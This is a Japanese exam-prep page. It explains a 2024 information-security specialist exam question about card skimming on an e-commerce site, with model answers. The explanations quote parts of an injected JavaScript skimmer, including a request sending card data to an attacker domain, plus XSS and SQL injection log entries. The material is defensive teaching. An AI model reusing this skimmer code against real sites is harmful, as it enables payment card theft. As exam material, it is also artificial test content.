戦国IT - 情報処理技術者試験の過去問対策サイト
お知らせお問い合わせ料金プラン

情報処理安全確保支援士 2024年 秋期 午後03


クレジットカード情報の漏えいに関する次の記述を読んで、設問に答えよ。

   J社は、インテリアを扱うECサイト(以下、J社のECサイトをJ社ECサイトという)を運営する、従業員200名の会社である。   〔J社ECサイトの構成〕  J社ECサイトは、Webアプリケーションプログラム(以下、J社ECサイトのWebアプリケーションプログラムをWebアプリPという)、Webサーバ及びDBサーバで構成されている。J社はWebアプリPの開発及び保守、並びにWebサーバ及びDBサーバの構築、管理及び保守をV社に委託している。WebアプリPのアプリケーションログには、アクセス日時、画面名、アカウント名、アクセス元IPアドレスなどが記録される。  J社ECサイトでの支払方法は、クレジットカード決済及び銀行振込に対応している。  クレジットカード決済はD社の決済代行サービスを利用している。D社の提供する決済用ECMAScriptプログラムを使用したトークン型決済を用いて、クレジットカード情報の非保持化を実現している。商品購入に関する画面の概要を表1に、画面遷移を図1に示す。
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 表01)
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 図01)
〔利用者からの問合せ〕  6月11日から12日にかけて、複数の利用者から、クレジットカード情報を入力する画面が2回表示されるという問合せ、及び支払方法が勝手にクレジットカード決済になってしまうという問合せがあった。J社ECサイト担当者のGさんは、偽のクレジットカード情報入力フォーム(以下、偽フォームという)が表示された可能性があると考え、上司のRさんに報告した上で、Webサーバの6月11日のアクセスログに不審な点がないかどうかを確認した。Webサーバの6月11日のアクセスログのうち、不審と思われるアクセスを抽出したものを表2に示す。
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 表02)
 次は、アクセスログに関するRさんとGさんの会話である。
 Rさん:偽フォームの表示が可能な攻撃の痕跡はあったのか。  Gさん:表2のa行目がb脆弱性を狙った攻撃だと思いますが、そういった攻撃であれば偽フォームの表示が可能です。さらにb脆弱性がc型であれば、1回の攻撃で多数の利用者に対して偽フォームの表示が可能です。  Rさん:それとは別に、表2のd行目はe脆弱性を狙った攻撃の痕跡だと思うが、仮にその脆弱性が存在した場合に、偽フォームの表示は可能なのか。  Gさん:WebアプリPが、DBサーバに格納している情報を基にWebページを動的に生成していれば可能かもしれません。  Rさん:承知した。その他、表2の10行目のPUTメソッドでファイルが更新されている点も気になる。以前、セキュリティベンダーに依頼して報告を受けているWebアプリPの脆弱性診断レポートに、b脆弱性及びe脆弱性の指摘があるかどうかと、PUTメソッドによる更新はV社によるものかどうか、V社に至急確認してほしい。
 Gさんは、6月13日にV社に問い合わせた。また、最新バージョンのWebアプリPに対する脆弱性診断レポートを確認したところ、脆弱性の指摘はなかった。   〔偽フォーム表示の原因の調査と対策〕  6月14日にV社から連絡があり、PUTメソッドによるファイル更新はV社によるものではなかったことが判明した。Webサーバに設置していたECMAScriptファイルの一つcustomize.jsが攻撃者のファイル(以下、ファイルKという)に置き換えられていた。customize.jsは、通常時は空のファイルであり、Webサイトのデザインを一時的に変更する際に利用するものである。①配送先・支払方法選択画面でファイルKが読み込まれており、HTMLの一部が書き換えられていた。この書換えによって、②配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され、支払方法がクレジットカード決済に固定されていた。ファイルKを整形したものを図2に、配送先・支払方法選択画面のHTMLソースを図3に示す。
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 図02)
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 図03)
 その後、6月16日にV社から、customize.jsの置換えについての調査結果及び対処の報告があった。その報告を図4に示す。
情報処理安全確保支援士試験(令和6年度 秋期 午後 問03 図04)
〔クレジットカード情報の漏えいの調査と対策〕  本件に関する利用者からの問合せは、6月15日21時45分が最後であり、合計32件あった。次は、customize.jsの置換えによる影響の調査に関するRさんとGさんの会話である。    Rさん:クレジットカード情報入力フォームが2回表示されたのは、customize.jsが置き換えられていた影響で偽フォームが表示されたからだったのか。  Gさん:そのとおりです。2回目に表示されたクレジットカード情報入力フォームにクレジットカード情報を入力し、送信している場合だけ、当社で注文が完了していました。  Rさん:ダミーのクレジットカード情報を設定して図2でGETリクエストが送られる先のURLにアクセスしたところ、404のステータスコードが返ってきた。もし、攻撃者のWebサーバが適切なステータスコードを返しているとしたら、この結果から、攻撃者のWebサーバにWebアプリケーションプログラムが用意されておらず、クレジットカード情報は盗まれていないと判断してよいか。  Gさん:③利用者が改ざんされた画面に入力して、クレジットカード情報が送信されてしまったときに、攻撃者のWebサーバでWebアプリケーションプログラム を用意していなくても、攻撃者は利用者の入力したクレジットカード情報を取得する方法があります。クレジットカード情報は盗まれたと判断すべきです。  Rさん:クレジットカード情報の漏えいの可能性について利用者に案内を出したい。 攻撃者のWebサーバにクレジットカード情報を送信した利用者を特定してほしい。攻撃者のWebサーバに情報を送信してしまった利用者は漏れなく特定したいが、送信していない利用者はできるだけ含めたくない。そのために は、どのようにすればよいのか。  Gさん:V社の報告から、customize.jsの置換えの影響のあった期間は6月11日13時12分から6月16日9時00分と考えられます。攻撃者のWebサーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために、その期間のアプリケーションログからfを抽出したいと思います。  Rさん:それで抽出してくれ。    その後、Gさんは、プロキシサーバなどのキャッシュの影響も考慮した上で、被害者候補を特定し、その情報を基に案内を出した。また、J社は、関係当局に報告、届出を行うとともに、V社と協力して再発防止策を検討し、実施した。さらに、Webサーバのファイルの改ざん検知の検討を行うことにした。

設問1

本文中のaeに入れる適切な行番号又は字句を答えよ。

模範解答

a:5 b:クロスサイトスクリプティング c:格納 d:2 e:SQLインジェクション

解説

解答の論理構成

  1. 表2を確認
    • 行番号「5」に GET /cart?add="> があり、HTMLに =「クロスサイトスクリプティング」
  2. XSS の型判定
    • 会話文に「1回の攻撃で多数の利用者に対して偽フォームの表示が可能」とあります。利用者のブラウザに届く前にサーバ側コンテンツが改ざんされる場合を指すため、XSS の分類は「格納(Stored)型」です。
      c=「格納」
  3. もう一つの不審なリクエスト
    • 行番号「2」に GET /login?id=hoge&pw=' UNION select 1 FROM があり、' UNION select というキーワードはデータベースクエリを不正操作する典型的な手口です。
      d=「2」
      e=「SQLインジェクション」
  4. 以上より模範解答と一致
    • a:5
    • b:クロスサイトスクリプティング
    • c:格納
    • d:2
    • e:SQLインジェクション

誤りやすいポイント

  • 「反射型と格納型の違い」を混同
    偽フォームが“多数”に影響→サーバ側で保持される「格納」型と判断します。
  • 行番号の読み違い
    表2は10行あるので“5行目”と“2行目”を取り違えやすいです。
  • SQLインジェクションの見落とし
    UNION select を含むので即座に SQLi と気付く必要があります。
  • XSS と HTML インジェクションの区別
    スクリプトタグがある=XSS、タグだけなら HTML インジェクションという切り分けが必須です。

FAQ

Q: クロスサイトスクリプティングはすべてのケースで「格納型」が危険なのですか?
A: 「反射型」も十分危険ですが、メールや SNS で URL を配布しないと効果が広がりにくい一方、「格納型」はコンテンツに永続的にスクリプトが残るため被害が広範囲になります。
Q: SQLインジェクションが成功した場合、偽フォームの表示も可能ですか?
A: Webアプリケーションが DB の結果をそのまま HTML に埋め込む設計であれば、SQLインジェクションにより XSS スクリプトを DB に書き込み、結果として偽フォームを表示させることが可能です。
Q: PUT メソッドが許可されていたことは直接 XSS と関係しますか?
A: ファイルを置き換える手段として悪用されました。置換えた customize.js によってクライアント側で XSS が実行され、偽フォームが生成されたので間接的には深く関係しています。

関連キーワード: クロスサイトスクリプティング、SQLインジェクション、HTTPメソッド、アクセスログ、格納型XSS

設問2〔偽フォーム表示の原因の調査と対策〕について答えよ。

(1)本文中の下線①について、書換え後の画面全体を図示せよ。

模範解答

情報処理安全確保支援士試験(令和6年度 秋期 午後1 問03 設問02-01解答)

解説

解答の論理構成

  1. もとの画面構造の確認
    • 【問題文】図3に示される配送先・支払方法選択画面は、 ①画面タイトル「配送先・支払方法選択」
      ②「配送先」プルダウン
      ③ class="order_payment" 内に
      「input type="radio" … value="1"」(クレジットカード決済) と
      「input type="radio" … value="2"」(銀行振込) が配置され、 ④ 画面下部に「戻る」「次へ」ボタンがある構成です。
  2. 置換えスクリプトの挙動
    • 【問題文】図2 行1で location.pathname == '/shopping' を判定し、該当ページのみを書換え対象にします。
    • 行2で querySelector("#shopping-form > div > div > div.order_payment > div.radio") を取得し、行3~8で elem.innerHTML = '…' によって内容を丸ごと置換えます。具体的に挿入される要素は下記5項目です。
      1. カード番号
      2. 有効期限
      3. 名義
      4. セキュリティコード
  3. 画面に現れる変化
    • radio ボタン2個が削除され、かわりにカード情報4入力欄が縦並びで表示されます。
    • hidden フィールドによって支払方法は常に "order[Payment]" value="1"、すなわちクレジットカード決済に固定されます(【問題文】下線②も同趣旨)。
    • 「配送先」プルダウンと「戻る/次へ」ボタンは DOM 書換え対象外のため残ります。
  4. 図示すべき完成形
    • 上部中央: 画面タイトル「配送先・支払方法選択」
    • 次行: 「配送先」ラベルとプルダウン
    • 次行以降: 「お支払方法」見出しの直下に
      ・カード番号 [入力欄]
      ・有効期限 [入力欄] 月/[入力欄] 年
      ・名義 [入力欄]
      ・セキュリティコード [入力欄]
    • 最下部中央寄りに「戻る」「次へ」の2ボタン
      ⇒ 模範解答画像は、この DOM 変更結果を忠実に図示しています。

誤りやすいポイント

  • ラジオボタンが残ると誤解し、カード入力欄を追加で描いてしまう。図2では elem.innerHTML を再代入しているため旧要素は消えます。
  • hidden フィールドを描き忘れ、支払方法固定の意図を見落とす。画面上は見えないが、図示時に「銀行振込」が選べない状態を示す必要があります。
  • 画面タイトルや「配送先」プルダウンを消してしまう。スクリプトは order_payment 部分のみ書換えであり、それ以外は元のままです。

FAQ

Q: 「お支払方法」というラベル自体は消えるのですか?
A: 行2の querySelector が取得しているのは div.radio 以下だけなので、「お支払方法」を囲む親要素は削除されません。よってラベルは残ります。
Q: hidden フィールドを図に描く必要はありますか?
A: 画面に見えないため視覚的には不要ですが、支払方法が "1" に固定されることを示せば減点を防げます。模範解答ではラジオボタン自体を排除した図で暗黙的に表現しています。
Q: 銀行振込が選べないことをどう表現すればよいですか?
A: 銀行振込用ラジオボタンが図から完全に消えていれば十分です。

関連キーワード: DOM操作、JavaScript改ざん、Hiddenフィールド、フォーム書換え、クレジットカード入力

設問2〔偽フォーム表示の原因の調査と対策〕について答えよ。

(2)本文中の下線②について、パラメータ名とその値を答えよ。

模範解答

パラメータ名:order[Payment] 値:1

解説

解答の論理構成

  1. 【問題文】の下線②には
    “配送先・支払方法選択画面から支払手続画面への画面遷移の処理で利用しているパラメータの値が変更され、支払方法がクレジットカード決済に固定されていた”
    とある。ここで「支払方法を示すパラメータ」が改ざん対象であると読み取れます。
  2. 図3(配送先・支払方法選択画面のHTMLソース)には、支払方法を示す が存在し、該当部分は
    <input type="radio" id="Payment_1" name="order[Payment]" … value="1" checked />
    <input type="radio" id="Payment_2" name="order[Payment]" … value="2" />
    です。したがって
    • パラメータ名は order[Payment]
    • クレジットカード決済は value="1"
    と分かります。
  3. 図2(ファイルK)の 3〜8 行目では
    '';
    と hidden フィールドを強制挿入しており、「値を変更し固定した」ことを示しています。
  4. 以上より、下線②が指す「パラメータ名とその値」は
    パラメータ名:order[Payment]
    値:1
    となります。

誤りやすいポイント

  • 支払方法を示す値を「2(銀行振込)」と誤記する。図2で hidden フィールドの value="1" が挿入されている点を見落とすと間違えやすいです。
  • パラメータ名として Payment や order.Payment とドット表記にしてしまう。図3の正確な属性値は角括弧を含む order[Payment] です。
  • 「支払手続」画面(/payment)のカード情報入力欄に気を取られ、パラメータは POST 送信されると想定してしまう。実際は /shopping 画面から次画面へ遷移する際の form 送信で使用されます。

FAQ

Q: hidden フィールドが挿入されたのに、利用者はラジオボタンを操作できますか?
A: ラジオボタン自体は表示されますが、name="order[Payment]" が二重に存在すると最後に送信される値は多くの場合 hidden フィールド側になります。そのためユーザ操作は無効化されます。
Q: value="1" がクレジットカード決済であると断定できる根拠は?
A: 図3で id="Payment_1" に対応する が並んでいるため、value="1" がクレジットカード決済と分かります。
Q: もし order[Payment] が存在しなければ画面遷移はどうなりますか?
A: サーバ側バリデーションで支払方法が未選択と判断され、エラー画面に遷移するかフォーム再表示になるのが一般的です。攻撃者は hidden フィールドで必ず値を送ることでそれを回避しています。

関連キーワード: hiddenフィールド、フォーム改ざん、ラジオボタン、パラメータ固定、クレジットカード決済

設問2〔偽フォーム表示の原因の調査と対策〕について答えよ。

(3)図2について、4〜15行目の処理内容を具体的に答えよ。

模範解答

addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し、submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する。

解説

解答の論理構成

  1. 図2では、攻撃者が配置した「ファイルK」のコードが行番号付きで示されています。そのうち問われているのは「4〜15行目」です。
  2. まず「4〜8行目」では、elem.innerHTML = によって
    • 「4行目 『<p>カード番号<input type="text" id="get_number" /></p>』」
    • 「5行目 『<p>有効期限<input type="text" id="get_exp_month" />月<input type="text" id="get_exp_year" />年</p>』」
    • 「6行目 『<p>名義<input type="text" id="get_name" /></p>』」
    • 「7行目 『<p>セキュリティコード<input type="text" id="get_code" /></p>』」
    • 「8行目 『<input type="hidden" name="order[Payment]" value="1" />』」
      を連結し、配送先・支払方法選択画面の支払方法選択部(div.radio 要素)の HTML を丸ごと差し替えます。これにより
      • クレジットカード番号等を入力させる偽フォームが表示される
      • value="1" の hidden フィールドで支払方法を強制的に「クレジットカード決済」に固定する
      という二つの効果が生じることを説明できます。
  3. 次に「9行目 『let form = document.getElementById('shopping-form');』」で、配送先・支払方法選択画面の form 要素を取得します。図3の HTML ソースに「<form id="shopping-form" ...>」とあるため、ここでそのフォームを指していると分かります。
  4. 「10行目 『form.addEventListener('submit'、function() {』」で、フォーム送信イベントに対しリスナーを登録し、送信時に攻撃者の処理が走るようにします。
  5. 「11行目 『const req = new XMLHttpRequest();』」で非同期通信オブジェクトを用意し、以降のカード情報送信用に備えます。
  6. 「12〜15行目」では、それぞれ
    • 「12行目 『let number = document.getElementById('get_number').value;』」
    • 「13行目 『let exp_month = document.getElementById('get_exp_month').value;』」
    • 「14行目 『let exp_year = document.getElementById('get_exp_year').value;』」
    • 「15行目 『let name = document.getElementById('get_name').value;』」
      でユーザが入力したカード番号・有効期限(月/年)・名義を取得しています(16行目でセキュリティコードも取得)。この情報は後続行で URL に連結され、「18〜20行目」で示される攻撃者サイト「https://i-sha.com/」へ GET リクエストとして送信されます。
  7. したがって、4〜15行目の実質的な処理内容は
    「配送先・支払方法選択画面に偽のカード入力欄と hidden フィールドを挿入し、フォーム送信時に入力されたクレジットカード情報を取得できるよう変数に格納する準備をする」
    であり、模範解答のとおり
    『addEventListenerメソッドで配送先・支払方法選択画面のform要素にイベントリスナーを登録し、submit時にクレジットカード情報をクエリパラメータとしてi-sha.comに送信する』
    が導かれます。

誤りやすいポイント

  • 4〜8行目を「フォームそのものを新規生成している」と誤解しやすいですが、実際は elem.innerHTML による「既存 HTML の丸ごと置換」です。
  • 8行目の hidden フィールドは「支払方法の選択を保持するための通常処理」と見えてしまいますが、value="1" で「クレジットカード決済」に固定する攻撃ロジックです。
  • 12〜15行目は「単に値を取得しているだけ」と見落とされがちですが、17〜22行目で外部送信される重要な準備処理となっています。

FAQ

Q: 4〜8行目で innerHTML を使うのはなぜ危険なのですか?
A: DOM 節点を直接書き換えるため、画面上の表示をユーザが見分けにくい形で改ざんできます。特に支払方法選択部に挿入される hidden フィールドはユーザの意図を無視して決済方法を強制できます。
Q: 12〜15行目で取得した値はどこで送信されますか?
A: 17〜22行目で作成された URL「https://i-sha.com/?num=...」に GET で送られます。つまりカード情報はクエリパラメータに載せられ、攻撃者サイトに直接転送されます。
Q: XMLHttpRequest を使わずにフォーム送信だけで情報が抜かれることもありますか?
A: はい。例えば action 属性を書き換えて攻撃者サイトを指定すれば、フォーム送信だけで情報窃取が可能です。本問では XMLHttpRequest を使うことでユーザに画面遷移を見せずに情報を外部送信しています。

関連キーワード: DOM操作、hiddenフィールド、イベントリスナー、非同期通信、情報窃取

設問3〔クレジットカード情報の漏えいの調査と対策〕について答えよ。

(1)本文中の下線③について、攻撃者のWebサーバでクレジットカード情報を取得する方法を答えよ。

模範解答

WebサーバのアクセスログのリクエストURIから情報を取得する。

解説

解答の論理構成

  1. 偽フォームを仕込んだファイルKの動作確認
    図2の18~20行目に
    https://i-sha.com/?num=' + number + '&exp=' + exp_month + '%2F' + exp_year + '&name=' + name + '&code=' + code;
    とあり、利用者が入力したカード情報を クエリ文字列として攻撃者のドメインi-sha.comへ送信しています。
  2. ステータスコードに依存しない情報流出
    Rさんは「404のステータスコードが返ってきた」と発言していますが、HTTPサーバはリクエストを受け取った時点でアクセスログを残します。ステータスが404でもリクエストライン(メソッド・パス・クエリ)はログに記録されるのが一般的な設定です。
  3. Webアプリケーションがなくても取得できる理由
    したがって、攻撃者はアプリケーションを配置しなくても、 「Webサーバのアクセスログに残った?num=...&exp=...&name=...&code=...を読めばクレジットカード情報を復元できる」
    との結論になります。
  4. 以上より、下線③の説明は
    「WebサーバのアクセスログのリクエストURIから情報を取得する」
    という解答になります。

誤りやすいポイント

  • ステータス404=データ未到達と早合点する
    → ログ出力のタイミングを把握していないと失点します。
  • 「POSTでないから安全」と判断する
    → GETでも機密情報が漏れ得ることを忘れがちです。
  • Webアプリが必要と考え、スクリプトの有無だけを確認してしまう
    → ログ収集だけで十分に情報窃取可能です。

FAQ

Q: 404以外のステータスなら危険度は変わりますか?
A: ステータスが200でも404でも、クエリ文字列は同じようにログに残ります。危険度はログの取得可否で決まります。
Q: HTTPSならアクセスログにクエリは残らないのですか?
A: HTTPSで暗号化されるのは通信経路であり、サーバ側に到達した後は復号された状態になるため、サーバのアクセスログには平文で記録されます。
Q: Webサーバのログ出力を止めれば攻撃は無効化できますか?
A: 取得経路の一つを塞げるだけで、アプリを置かれてしまえば再び情報を奪われます。ログを止めるのではなく不正通信自体を防ぐ対策が必要です。

関連キーワード: クエリ文字列、アクセスログ、GETメソッド、HTTPステータス、情報漏えい

設問3〔クレジットカード情報の漏えいの調査と対策〕について答えよ。

(2)本文中のfに入れる適切な字句を答えよ。

模範解答

f:配送先・支払方法選択画面にアクセスしたアカウント名

解説

解答の論理構成

  1. アプリケーションログに何が記録されているか
    • 問題文には「WebアプリPのアプリケーションログには、アクセス日時、画面名、アカウント名、アクセステIPアドレスなどが記録される。」とあります。
    • したがって、画面名とひも付いた「アカウント名」を抜き出せば、どの利用者がどの画面にアクセスしたかが分かります。
  2. 偽フォームが読み込まれるタイミング
    • 攻撃用の「customize.js」は「①配送先・支払方法選択画面でファイルKが読み込まれており、HTMLの一部が書き換えられていた」と説明されています。
    • つまり、被害を受ける最初のポイントは「配送先・支払方法選択」画面にアクセスした瞬間です。
  3. どんなログを抽出すれば“被害者候補”を絞れるか
    • Gさんは「攻撃者のWebサーバにクレジットカード情報を送信する直前までの操作をした利用者を被害者候補として特定するために、その期間のアプリケーションログからfを抽出したい」と述べています。
    • 直前の操作とは「配送先・支払方法選択」画面の表示なので、そこにアクセスした利用者の「アカウント名」が必要です。
  4. 結論
    • したがって f に入る語句は「配送先・支払方法選択画面にアクセスしたアカウント名」です。

誤りやすいポイント

  • 画面遷移を追わずに「支払手続」画面のログを抽出しようとする。偽フォームはその前段階で読み込まれるため誤りです。
  • IPアドレスやUser-Agentで絞り込もうとする。これらはキャッシュや共有端末の影響を受けやすく“漏れなく特定”という要件を満たしにくいです。
  • 期間条件を無視して全期間のログを抽出してしまい、不要な利用者まで被害者候補に含めてしまう。

FAQ

Q: なぜ「支払手続」画面ではなく「配送先・支払方法選択」画面を基準にするのですか?
A: 問題文の「①配送先・支払方法選択画面でファイルKが読み込まれており」とあるように、偽フォームを仕込むスクリプトがここで実行されるからです。
Q: IPアドレスでなくアカウント名を使う利点は?
A: スマートフォン回線やプロキシ経由ではIPアドレスが変動・共有されるため、個別利用者の特定精度が落ちる一方、アカウント名は利用者固有なので精度が高いです。
Q: キャッシュの影響とは何ですか?
A: 改ざんファイルがブラウザやプロキシに残っていると、置換え解除後も偽フォームが表示される場合があります。期間設定と合わせてキャッシュ制御を考慮する必要があります。

関連キーワード: XSS, PUTメソッド、キャッシュバスティング、アプリケーションログ
戦国ITクイズ機能

\ せっかくなら /

情報処理安全確保支援士
クイズ形式で学習しませんか?

クイズ画面へ遷移する

すぐに利用可能!

©︎2026 情報処理技術者試験対策アプリ

このサイトについてプライバシーポリシー利用規約特商法表記開発者について